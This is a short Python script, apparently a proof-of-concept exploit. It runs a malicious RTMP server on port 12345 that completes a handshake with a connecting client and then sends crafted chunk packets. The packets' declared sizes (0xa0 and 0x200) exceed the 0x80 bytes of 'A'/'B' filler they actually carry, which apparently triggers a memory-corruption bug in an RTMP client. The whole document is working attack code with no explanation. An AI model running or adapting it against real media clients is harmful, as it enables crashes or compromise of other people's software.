| 1 | #!/usr/bin/python
|
|---|
| 2 |
|
|---|
| 3 | import socket
|
|---|
| 4 | import os
|
|---|
| 5 | import struct
|
|---|
| 6 | import time
|
|---|
| 7 |
|
|---|
| 8 | bind_ip = '0.0.0.0'
|
|---|
| 9 | bind_port = 12345
|
|---|
| 10 |
|
|---|
| 11 |
|
|---|
| 12 | def create_payload(size, data, channel_id):
|
|---|
| 13 | payload = ''
|
|---|
| 14 | payload += chr((1 << 6) + channel_id) # (hdr << 6) & channel_id; hdr = RTMP_EIGHT
|
|---|
| 15 | payload += '\0\0\0' # ts_field
|
|---|
| 16 | payload += p24(size) # size
|
|---|
| 17 | payload += chr(0x00) # type
|
|---|
| 18 |
|
|---|
| 19 | payload += data # data
|
|---|
| 20 | return payload
|
|---|
| 21 |
|
|---|
| 22 |
|
|---|
| 23 | def p24(data):
|
|---|
| 24 | packed_data = struct.pack(">I", data)[1:]
|
|---|
| 25 | assert(len(packed_data) == 3)
|
|---|
| 26 | return packed_data
|
|---|
| 27 |
|
|---|
| 28 |
|
|---|
| 29 | def handle_request(client_socket):
|
|---|
| 30 | # performing rtmp handshake
|
|---|
| 31 | v = client_socket.recv(1)
|
|---|
| 32 | client_socket.send(chr(3))
|
|---|
| 33 |
|
|---|
| 34 | payload = ''
|
|---|
| 35 | payload += '\x00' * 4
|
|---|
| 36 | payload += '\x00' * 4
|
|---|
| 37 | payload += os.urandom(1536 - 8)
|
|---|
| 38 | client_socket.send(payload)
|
|---|
| 39 | client_socket.send(payload)
|
|---|
| 40 |
|
|---|
| 41 | client_socket.recv(0x600)
|
|---|
| 42 | client_socket.recv(0x600)
|
|---|
| 43 |
|
|---|
| 44 | payload = create_payload(0xa0, 'A' * 0x80, 10)
|
|---|
| 45 | client_socket.send(payload)
|
|---|
| 46 | payload = create_payload(0x200, 'B' * 0x80, 10)
|
|---|
| 47 | client_socket.send(payload)
|
|---|
| 48 | time.sleep(1)
|
|---|
| 49 |
|
|---|
| 50 | client_socket.close()
|
|---|
| 51 |
|
|---|
| 52 |
|
|---|
| 53 | if __name__ == '__main__':
|
|---|
| 54 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|---|
| 55 |
|
|---|
| 56 | s.bind((bind_ip, bind_port))
|
|---|
| 57 | s.listen(5)
|
|---|
| 58 |
|
|---|
| 59 | client_socket, addr = s.accept()
|
|---|
| 60 | handle_request(client_socket)
|
|---|
| 61 |
|
|---|
| 62 |
|
|---|